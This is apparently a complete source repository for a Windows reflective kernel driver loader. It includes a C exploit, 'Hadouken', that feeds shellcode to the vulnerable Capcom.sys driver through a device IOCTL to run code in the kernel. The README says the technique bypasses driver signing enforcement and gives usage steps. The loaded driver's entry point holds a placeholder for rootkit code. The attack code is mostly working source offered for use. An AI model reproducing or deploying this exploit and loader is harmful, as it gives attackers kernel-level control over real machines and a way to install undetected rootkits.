├── reflective_driver ├── order.txt ├── reflective_driver.vcxproj.filters ├── stub.h ├── reflective_driver.vcxproj └── Stub.cpp ├── Capcom.sys ├── LICENSE ├── Hadouken ├── Hadouken.vcxproj.filters ├── Hadouken.h ├── Hadouken.c └── Hadouken.vcxproj ├── Reflective Driver Loading.sln └── Readme.md /reflective_driver/order.txt: -------------------------------------------------------------------------------- 1 | ?Bootstrap@@YAJPEAX@Z -------------------------------------------------------------------------------- /Capcom.sys: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Professor-plum/Reflective-Driver-Loader/HEAD/Capcom.sys -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Professor-plum 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Hadouken/Hadouken.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | 23 | 24 | Header Files 25 | 26 | 27 | -------------------------------------------------------------------------------- /Hadouken/Hadouken.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define DEVICE_NAME L"\\\\.\\Htsysm72FB" 7 | #define IOCTL_EXPLOIT64 0xaa013044 8 | 9 | #define DECLARE_UNICODE_STRING(_var, _string) \ 10 | WCHAR _var ## _buffer[] = _string; \ 11 | __pragma(warning(push)) \ 12 | __pragma(warning(disable:4221)) __pragma(warning(disable:4204)) \ 13 | UNICODE_STRING _var = { sizeof(_string)-sizeof(WCHAR), sizeof(_string), (PWCH)_var ## _buffer } \ 14 | __pragma(warning(pop)) 15 | 16 | typedef PVOID(NTAPI * MMGETSYSTEMROUTINEADDRESS)(_In_ PUNICODE_STRING SystemRoutineName); 17 | typedef PVOID(NTAPI * EXALLOCATEPOOLWITHTAG)(_In_ ULONG PoolType, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag); 18 | typedef NTSTATUS(NTAPI * PSCREATESYSTEMTHREAD)(_Out_ PHANDLE ThreadHandle, _In_ ULONG DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ HANDLE ProcessHandle, _Out_opt_ LPVOID ClientId, _In_ LPVOID StartRoutine, _In_opt_ PVOID StartContext); 19 | VOID LaunchShell(LPVOID arg); 20 | 21 | #pragma pack(1) 22 | typedef struct _PAYLOAD 23 | { 24 | LPVOID ptr; 25 | struct SHELLCODE 26 | { 27 | USHORT mov; 28 | LPVOID jmpAddr; 29 | USHORT jmp; 30 | } shellcode; 31 | } PAYLOAD, *PPAYLOAD; -------------------------------------------------------------------------------- /Reflective Driver Loading.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 2013 4 | VisualStudioVersion = 12.0.21005.1 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_driver", "reflective_driver\reflective_driver.vcxproj", "{E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Hadouken", "Hadouken\Hadouken.vcxproj", "{614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|x64 = Debug|x64 13 | Win8.1 Release|x64 = Win8.1 Release|x64 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83}.Debug|x64.ActiveCfg = Win8.1 Debug|x64 17 | {E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83}.Debug|x64.Build.0 = Win8.1 Debug|x64 18 | {E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83}.Win8.1 Release|x64.ActiveCfg = Win8.1 Release|x64 19 | {E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83}.Win8.1 Release|x64.Build.0 = Win8.1 Release|x64 20 | {614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A}.Debug|x64.ActiveCfg = Debug|x64 21 | {614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A}.Debug|x64.Build.0 = Debug|x64 22 | {614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A}.Win8.1 Release|x64.ActiveCfg = Release|x64 23 | {614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A}.Win8.1 Release|x64.Build.0 = Release|x64 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | EndGlobal 29 | -------------------------------------------------------------------------------- /reflective_driver/reflective_driver.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hpp;hxx;hm;inl;inc;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | {8E41214B-6785-4CFE-B992-037D68949A14} 18 | inf;inv;inx;mof;mc; 19 | 20 | 21 | 22 | 23 | Driver Files 24 | 25 | 26 | 27 | 28 | Source Files 29 | 30 | 31 | Source Files 32 | 33 | 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | 43 | 44 | Driver Files 45 | 46 | 47 | -------------------------------------------------------------------------------- /reflective_driver/stub.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define CONVERT_RVA(base, offset) ((PVOID)((PUCHAR)(base) + (ULONG)(offset))) 4 | #define TAG 0x6D756C50 5 | 6 | typedef PVOID(NTAPI * EXALLOCATEPOOLWITHTAG)(_In_ POOL_TYPE PoolType, _In_ SIZE_T NumberOfBytes, _In_ ULONG Tag); 7 | typedef VOID(NTAPI *EXFREEPOOLWITHTAG)(_In_ PVOID P, _In_ ULONG Tag); 8 | typedef NTSTATUS(NTAPI * IOCREATEDRIVER)(_In_ PUNICODE_STRING DriverName, _In_opt_ PDRIVER_INITIALIZE InitializationFunction); 9 | typedef PVOID(NTAPI * MMGETSYSTEMROUTINEADDRESS)(_In_ PUNICODE_STRING SystemRoutineName); 10 | typedef PIMAGE_NT_HEADERS(NTAPI *RTLIMAGENTHEADER)(IN PVOID ModuleAddress); 11 | typedef PVOID(NTAPI *RTLIMAGEDIRECTORYENTRYTODATA)(IN PVOID Base, IN BOOLEAN MappedAsImage, IN USHORT DirectoryEntry, OUT PULONG Size); 12 | typedef NTSTATUS(NTAPI *RTLQUERYMODULEINFORMATION)(ULONG *InformationLength, ULONG SizePerModule, PVOID InformationBuffer); 13 | 14 | typedef struct _LDRFUNCS 15 | { 16 | EXALLOCATEPOOLWITHTAG ExAllocatePoolWithTag; 17 | EXFREEPOOLWITHTAG ExFreePoolWithTag; 18 | IOCREATEDRIVER IoCreateDriver; 19 | MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress; 20 | RTLIMAGEDIRECTORYENTRYTODATA RtlImageDirectoryEntryToData; 21 | RTLIMAGENTHEADER RtlImageNtHeader; 22 | RTLQUERYMODULEINFORMATION RtlQueryModuleInformation; 23 | } LDRFUNCS, *PLDRFUNCS; 24 | 25 | typedef struct _RTL_MODULE_EXTENDED_INFO 26 | { 27 | PVOID ImageBase; 28 | ULONG ImageSize; 29 | USHORT FileNameOffset; 30 | CHAR FullPathName[0x100]; 31 | } RTL_MODULE_EXTENDED_INFO, *PRTL_MODULE_EXTENDED_INFO; 32 | 33 | NTSTATUS FindImports(PLDRFUNCS ft, PVOID hDriver); 34 | NTSTATUS DoRelocation(PLDRFUNCS ft, PVOID hDriver); 35 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath); 36 | PVOID GetRoutineByName(PLDRFUNCS ft, PVOID hDriver, LPCSTR FunctionName); 37 | PVOID GetModuleByName(PLDRFUNCS ft, LPCSTR driverName); 38 | -------------------------------------------------------------------------------- /Hadouken/Hadouken.c: -------------------------------------------------------------------------------- 1 | #include "Hadouken.h" 2 | 3 | DWORD gBufSize; 4 | LPVOID gBuffer; 5 | DECLARE_UNICODE_STRING(strAlloc, L"ExAllocatePoolWithTag"); 6 | DECLARE_UNICODE_STRING(strThread, L"PsCreateSystemThread"); 7 | 8 | #pragma const_seg(push, stack1, ".text") 9 | const PAYLOAD payload = { &payload.shellcode , 0xb848, LaunchShell, 0xe0ff}; 10 | #pragma const_seg(pop, stack1) 11 | 12 | VOID LaunchShell(LPVOID arg) 13 | { 14 | _enable(); 15 | HANDLE hThread; 16 | OBJECT_ATTRIBUTES oa; 17 | InitializeObjectAttributes(&oa, NULL, OBJ_KERNEL_HANDLE, NULL, NULL); 18 | MMGETSYSTEMROUTINEADDRESS MmGetSystemRoutineAddress = (MMGETSYSTEMROUTINEADDRESS)arg; 19 | if (MmGetSystemRoutineAddress) { 20 | EXALLOCATEPOOLWITHTAG ExAllocatePoolWithTag = (EXALLOCATEPOOLWITHTAG)MmGetSystemRoutineAddress(&strAlloc); 21 | if (ExAllocatePoolWithTag) { 22 | PSCREATESYSTEMTHREAD PsCreateSystemThread = (PSCREATESYSTEMTHREAD)MmGetSystemRoutineAddress(&strThread); 23 | if (PsCreateSystemThread) { 24 | PUCHAR kbuf = (PUCHAR)ExAllocatePoolWithTag(0, gBufSize, 0x6D756C50); 25 | if (kbuf) { 26 | __movsq((__int64*)kbuf, (__int64*)gBuffer, gBufSize / sizeof(__int64)); 27 | if (0 == PsCreateSystemThread(&hThread, GENERIC_ALL, &oa, NULL, NULL, kbuf + 0x400, MmGetSystemRoutineAddress)) { 28 | //TODO: ZwClose(hThread); 29 | } else { 30 | //TODO: ExFreePoolWithTag(gBufSize, 0x6D756C50); 31 | } 32 | } 33 | } 34 | } 35 | } 36 | } 37 | 38 | int wmain(int argc, wchar_t *argv[], wchar_t *envp[]) 39 | { 40 | HANDLE hFile, hDevice; 41 | DWORD outBuf, dummy; 42 | LPVOID inbuf = &payload.shellcode; 43 | 44 | hFile = CreateFile(argv[1], GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 45 | if (INVALID_HANDLE_VALUE != hFile) { 46 | gBufSize = GetFileSize(hFile, NULL); 47 | gBuffer = LocalAlloc(0, gBufSize); 48 | if (NULL != gBuffer) { 49 | if (ReadFile(hFile, gBuffer, gBufSize, &dummy, NULL)) { 50 | hDevice = CreateFile(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 51 | if (INVALID_HANDLE_VALUE != hDevice) { 52 | if (DeviceIoControl(hDevice, IOCTL_EXPLOIT64, &inbuf, sizeof(inbuf), &outBuf, sizeof(DWORD), &dummy, NULL)){ 53 | printf("Exploit message sent successfully!\n"); 54 | } 55 | else printf("Unable to send command to driver (%d)\n", GetLastError()); 56 | CloseHandle(hDevice); 57 | } 58 | else printf("Could not open device %s (%d)\n", DEVICE_NAME, GetLastError()); 59 | } 60 | else printf("Error reading file (%d)\n", GetLastError()); 61 | } 62 | else printf("Unable to allocate %d bytes (%d)\n", gBufSize, GetLastError()); 63 | CloseHandle(hFile); 64 | } 65 | else printf("Could not open %s (%d)\n", argv[1], GetLastError()); 66 | return 0; 67 | } -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | About 2 | ===== 3 | 4 | Reflective Kernel Driver injection is a injection technique base off Reflective DLL injection by Stephen Fewer. 5 | The technique bypasses Windows driver signing enforcement (KMCS). 6 | Reflective programming is employed to perform the loading of a driver from memory into the kernel. As such the driver is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. 7 | Injection works on Windows Vista up to Windows 10, running on x64. 8 | 9 | An exploit for the Capcom driver is also included as a simple usage example. 10 | 11 | Overview 12 | ======== 13 | 14 | The process of injecting a driver into the kernel is twofold. Firstly, the driver you wish to inject must be written into the kernel address space. Secondly the driver must be loaded into kernel in such a way that the driver's run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory. 15 | 16 | Assuming we have ring0 code execution and the driver we wish to inject has been written into an arbitrary location of memory kernel, Reflective Driver Injection works as follows. 17 | 18 | * Execution is passed, either via PSCreateSystemThread() or a tiny bootstrap shellcode, to the driver's ReflectiveLoader function which is located at the beginning of the driver's code section (typically offset 0x400). 19 | * As the driver's image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image's current location in memory so as to be able to parse its own headers for use later on. 20 | * The ReflectiveLoader will then use MmGetSystemRoutineAddress (assumed to be passed in as arg0) to calculate the addresses of six functions required by the loader, namely ExAllocatePoolWithTag, ExFreePoolWithTag, IoCreateDriver, RtlImageDirectoryEntryToData, RtlImageNtHeader, and RtlQueryModuleInformation. 21 | * The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on. 22 | * The driver's headers and sections are loaded into their new locations in memory. 23 | * The ReflectiveLoader will then process the newly loaded copy of its image's relocation table. 24 | * The ReflectiveLoader will then process the newly loaded copy of its image's import table, resolving any module dependencies (assuming they are already loaded into the kernel) and their respective imported function addresses. 25 | * The ReflectiveLoader will then call IoCreateDriver passing the driver's DriverEntry exported function as the second parameter. The driver has now been successfully loaded into memory. 26 | * Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via PSCreateSystemThread, the thread will terminate. 27 | 28 | Build 29 | ===== 30 | 31 | Open the 'Reflective Driver Loading.sln' file in Visual Studio C++ and build the solution in Release mode to make Hadouken.exe and reflective_driver.sys 32 | 33 | Usage 34 | ===== 35 | 36 | To test load Capcom.sys into the kernel then use the Hadouken.exe to inject reflective_driver.sys into the kernel e.g.: 37 | 38 | > Hadouken reflective_driver.sys 39 | -------------------------------------------------------------------------------- /Hadouken/Hadouken.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | x64 7 | 8 | 9 | Release 10 | x64 11 | 12 | 13 | 14 | {614EAE10-FEDB-45B4-9D8A-617CDAD8BB0A} 15 | Hadouken 16 | 17 | 18 | 19 | Application 20 | true 21 | v120 22 | Unicode 23 | 24 | 25 | Application 26 | false 27 | v120 28 | true 29 | Unicode 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | Level3 45 | Disabled 46 | true 47 | true 48 | 49 | 50 | true 51 | NotSet 52 | 53 | 54 | 55 | 56 | Level3 57 | MaxSpeed 58 | true 59 | true 60 | true 61 | false 62 | 63 | 64 | true 65 | true 66 | true 67 | %(AdditionalDependencies) 68 | NotSet 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | -------------------------------------------------------------------------------- /reflective_driver/reflective_driver.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Win8.1 Debug 6 | x64 7 | 8 | 9 | Win8.1 Release 10 | x64 11 | 12 | 13 | 14 | {E4B8D158-5A26-4F5D-9F28-5BB4C5BF5D83} 15 | {dd38f7fc-d7bd-488b-9242-7d8754cde80d} 16 | v4.5 17 | 11.0 18 | Win8.1 Release 19 | x64 20 | Bootstrap 21 | BSides 22 | 23 | 24 | 25 | WindowsV6.3 26 | true 27 | WindowsKernelModeDriver8.1 28 | Driver 29 | WDM 30 | 31 | 32 | WindowsV6.3 33 | false 34 | WindowsKernelModeDriver8.1 35 | Driver 36 | WDM 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | DbgengKernelDebugger 48 | 49 | 50 | DbgengKernelDebugger 51 | 52 | 53 | 54 | DriverEntry 55 | order.txt 56 | 57 | 58 | true 59 | fltmgr.lib;%(AdditionalDependencies) 60 | NotSet 61 | false 62 | 63 | 64 | true 65 | false 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | -------------------------------------------------------------------------------- /reflective_driver/Stub.cpp: -------------------------------------------------------------------------------- 1 | #include "stub.h" 2 | #include 3 | #include 4 | 5 | #pragma comment(linker, "/include:?Bootstrap@@YAJPEAX@Z") //Don't let linker optimize this out! 6 | #define DRIVER_NAME L"\\FileSystem\\bsideshide" 7 | 8 | NTSTATUS Bootstrap(PVOID arg) 9 | { 10 | LDRFUNCS ft; 11 | NTSTATUS status = STATUS_UNSUCCESSFUL; 12 | PVOID hDriver = NULL; 13 | 14 | DECLARE_CONST_UNICODE_STRING(drvName, DRIVER_NAME); 15 | DECLARE_CONST_UNICODE_STRING(uExAllocatePoolWithTag, L"ExAllocatePoolWithTag"); 16 | DECLARE_CONST_UNICODE_STRING(uExFreePoolWithTag, L"ExFreePoolWithTag"); 17 | DECLARE_CONST_UNICODE_STRING(uIoCreateDriver, L"IoCreateDriver"); 18 | DECLARE_CONST_UNICODE_STRING(uRtlImageDirectoryEntryToData, L"RtlImageDirectoryEntryToData"); 19 | DECLARE_CONST_UNICODE_STRING(uRtlImageNtHeader, L"RtlImageNtHeader"); 20 | DECLARE_CONST_UNICODE_STRING(uRtlQueryModuleInformation, L"RtlQueryModuleInformation"); 21 | 22 | ft.MmGetSystemRoutineAddress = (MMGETSYSTEMROUTINEADDRESS)arg; 23 | if (NULL != ft.MmGetSystemRoutineAddress) { 24 | ft.ExAllocatePoolWithTag = (EXALLOCATEPOOLWITHTAG)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uExAllocatePoolWithTag); 25 | if (NULL != ft.ExAllocatePoolWithTag) { 26 | ft.ExFreePoolWithTag = (EXFREEPOOLWITHTAG)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uExFreePoolWithTag); 27 | if (NULL != ft.ExFreePoolWithTag) { 28 | ft.IoCreateDriver = (IOCREATEDRIVER)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uIoCreateDriver); 29 | if (NULL != ft.IoCreateDriver) { 30 | ft.RtlImageDirectoryEntryToData = (RTLIMAGEDIRECTORYENTRYTODATA)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uRtlImageDirectoryEntryToData); 31 | if (NULL != ft.RtlImageDirectoryEntryToData) { 32 | ft.RtlImageNtHeader = (RTLIMAGENTHEADER)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uRtlImageNtHeader); 33 | if (NULL != ft.RtlImageNtHeader) { 34 | ft.RtlQueryModuleInformation = (RTLQUERYMODULEINFORMATION)ft.MmGetSystemRoutineAddress((PUNICODE_STRING)&uRtlQueryModuleInformation); 35 | if (NULL != ft.RtlQueryModuleInformation) { 36 | PVOID pBase = (PUCHAR)Bootstrap - 0x400; 37 | PIMAGE_NT_HEADERS pNTHdr = ft.RtlImageNtHeader(pBase); 38 | if (pNTHdr) { 39 | hDriver = ft.ExAllocatePoolWithTag(NonPagedPoolExecute, pNTHdr->OptionalHeader.SizeOfImage, TAG); 40 | if (hDriver) { 41 | PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNTHdr); 42 | __movsq((PULONG64)hDriver, (PULONG64)pBase, pNTHdr->OptionalHeader.SizeOfHeaders / sizeof(__int64)); 43 | for (ULONG i = 0; i < pNTHdr->FileHeader.NumberOfSections; ++i) 44 | __movsq((PULONG64)CONVERT_RVA(hDriver, pSection[i].VirtualAddress), (PULONG64)CONVERT_RVA(pBase, pSection[i].PointerToRawData), pSection[i].SizeOfRawData / sizeof(__int64)); 45 | if NT_SUCCESS(DoRelocation(&ft, hDriver)) { 46 | if NT_SUCCESS(FindImports(&ft, hDriver)){ 47 | PDRIVER_INITIALIZE DriverEntry = (PDRIVER_INITIALIZE)CONVERT_RVA(hDriver, pNTHdr->OptionalHeader.AddressOfEntryPoint); 48 | status = ft.IoCreateDriver((PUNICODE_STRING)&drvName, DriverEntry); 49 | } 50 | } 51 | if (!NT_SUCCESS(status)) ft.ExFreePoolWithTag(hDriver, TAG); 52 | } 53 | } 54 | } 55 | } 56 | } 57 | } 58 | } 59 | } 60 | } 61 | return status; 62 | } 63 | 64 | NTSTATUS FindImports(PLDRFUNCS ft, PVOID hDriver) 65 | { 66 | NTSTATUS status = STATUS_UNSUCCESSFUL; 67 | ULONG size; 68 | PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)ft->RtlImageDirectoryEntryToData(hDriver, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &size); 69 | if (pImportDesc) 70 | { 71 | for (; pImportDesc->Name; pImportDesc++) 72 | { 73 | LPSTR libName = (LPSTR)CONVERT_RVA(hDriver, pImportDesc->Name); 74 | PVOID hModule = GetModuleByName(ft, libName); 75 | if (hModule) { 76 | PIMAGE_THUNK_DATA pNames = (PIMAGE_THUNK_DATA)CONVERT_RVA(hDriver, pImportDesc->OriginalFirstThunk); 77 | PIMAGE_THUNK_DATA pFuncP = (PIMAGE_THUNK_DATA)CONVERT_RVA(hDriver, pImportDesc->FirstThunk); 78 | 79 | for (; pNames->u1.ForwarderString; ++pNames, ++pFuncP) 80 | { 81 | PIMAGE_IMPORT_BY_NAME pIName = (PIMAGE_IMPORT_BY_NAME)CONVERT_RVA(hDriver, pNames->u1.AddressOfData); 82 | PVOID func = GetRoutineByName(ft, hModule, pIName->Name); 83 | if (func) 84 | pFuncP->u1.Function = (ULONGLONG)func; 85 | else return STATUS_PROCEDURE_NOT_FOUND; 86 | } 87 | } 88 | else return STATUS_DRIVER_UNABLE_TO_LOAD; 89 | } 90 | status = STATUS_SUCCESS; 91 | } 92 | return status; 93 | } 94 | 95 | NTSTATUS DoRelocation(PLDRFUNCS ft, PVOID hDriver) 96 | { 97 | NTSTATUS status = STATUS_UNSUCCESSFUL; 98 | ULONG size; 99 | PIMAGE_NT_HEADERS pNTHdr = ft->RtlImageNtHeader(hDriver); 100 | ULONGLONG delta = (ULONGLONG)hDriver - pNTHdr->OptionalHeader.ImageBase; 101 | PIMAGE_BASE_RELOCATION pRel = (PIMAGE_BASE_RELOCATION)ft->RtlImageDirectoryEntryToData(hDriver, TRUE, IMAGE_DIRECTORY_ENTRY_BASERELOC, &size); 102 | if (pRel) { 103 | size = pNTHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size; 104 | for (ULONG i = 0; i < size; i += pRel->SizeOfBlock, pRel = (PIMAGE_BASE_RELOCATION)((ULONG)pRel + i)) 105 | { 106 | for (PUSHORT chains = (PUSHORT)((ULONGLONG)pRel + sizeof(IMAGE_BASE_RELOCATION)); chains < (PUSHORT)((ULONGLONG)pRel + pRel->SizeOfBlock); ++chains) 107 | { 108 | switch (*chains >> 12) 109 | { 110 | case IMAGE_REL_BASED_ABSOLUTE: 111 | break; 112 | case IMAGE_REL_BASED_HIGHLOW: 113 | *(PULONG)CONVERT_RVA(hDriver, pRel->VirtualAddress + (*chains & 0x0fff)) += (ULONG)delta; 114 | break; 115 | case IMAGE_REL_BASED_DIR64: 116 | *(PULONGLONG)CONVERT_RVA(hDriver, pRel->VirtualAddress + (*chains & 0x0fff)) += delta; 117 | break; 118 | default: 119 | return STATUS_NOT_IMPLEMENTED; 120 | } 121 | } 122 | } 123 | status = STATUS_SUCCESS; 124 | } 125 | return status; 126 | } 127 | 128 | PVOID GetRoutineByName(PLDRFUNCS ft, PVOID hDriver, LPCSTR FunctionName) 129 | { 130 | ULONG dirSize; 131 | PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)ft->RtlImageDirectoryEntryToData(hDriver, true, IMAGE_DIRECTORY_ENTRY_EXPORT, &dirSize); 132 | PULONG names = (PULONG)CONVERT_RVA(hDriver, pExportDir->AddressOfNames); 133 | PUSHORT ordinals = (PUSHORT)CONVERT_RVA(hDriver, pExportDir->AddressOfNameOrdinals); 134 | PULONG functions = (PULONG)CONVERT_RVA(hDriver, pExportDir->AddressOfFunctions); 135 | for (ULONG i = 0; i < pExportDir->NumberOfNames; ++i) 136 | { 137 | LPCSTR name = (LPCSTR)CONVERT_RVA(hDriver, names[i]); 138 | if (0 == strcmp(FunctionName, name)) 139 | { 140 | return CONVERT_RVA(hDriver, functions[ordinals[i]]); 141 | } 142 | } 143 | return NULL; 144 | } 145 | 146 | //Not an accurate stricmp! Works fine for our needs 147 | inline BOOLEAN xstricmp(LPCSTR s1, LPCSTR s2) { 148 | for (ULONG i = 0; 0==((s1[i] ^ s2[i]) & 0xDF); ++i) 149 | if (0 == s1[i]) return TRUE; 150 | return FALSE; 151 | } 152 | 153 | PVOID GetModuleByName(PLDRFUNCS ft, LPCSTR driverName) 154 | { 155 | ULONG size = 0; 156 | PVOID ImageBase = NULL; 157 | __debugbreak(); 158 | NTSTATUS status = ft->RtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), NULL); 159 | if NT_SUCCESS(status) { 160 | PRTL_MODULE_EXTENDED_INFO pDrivers = (PRTL_MODULE_EXTENDED_INFO)ft->ExAllocatePoolWithTag(PagedPool, size, TAG); 161 | if (pDrivers) { 162 | status = ft->RtlQueryModuleInformation(&size, sizeof(RTL_MODULE_EXTENDED_INFO), pDrivers); 163 | if NT_SUCCESS(status) { 164 | for (ULONG i = 0; i < size / sizeof(RTL_MODULE_EXTENDED_INFO); ++i) { 165 | if (xstricmp(driverName, &pDrivers[i].FullPathName[pDrivers[i].FileNameOffset])) { 166 | ImageBase = pDrivers[i].ImageBase; 167 | break; 168 | } 169 | } 170 | } 171 | ft->ExFreePoolWithTag(pDrivers, TAG); 172 | } 173 | } 174 | return ImageBase; 175 | } 176 | 177 | 178 | NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) 179 | { 180 | NTSTATUS status = STATUS_SUCCESS; 181 | UNREFERENCED_PARAMETER(RegistryPath); 182 | UNREFERENCED_PARAMETER(DriverObject); 183 | 184 | //TODO: Enter Rootkit code here 185 | 186 | return status; 187 | } 188 | --------------------------------------------------------------------------------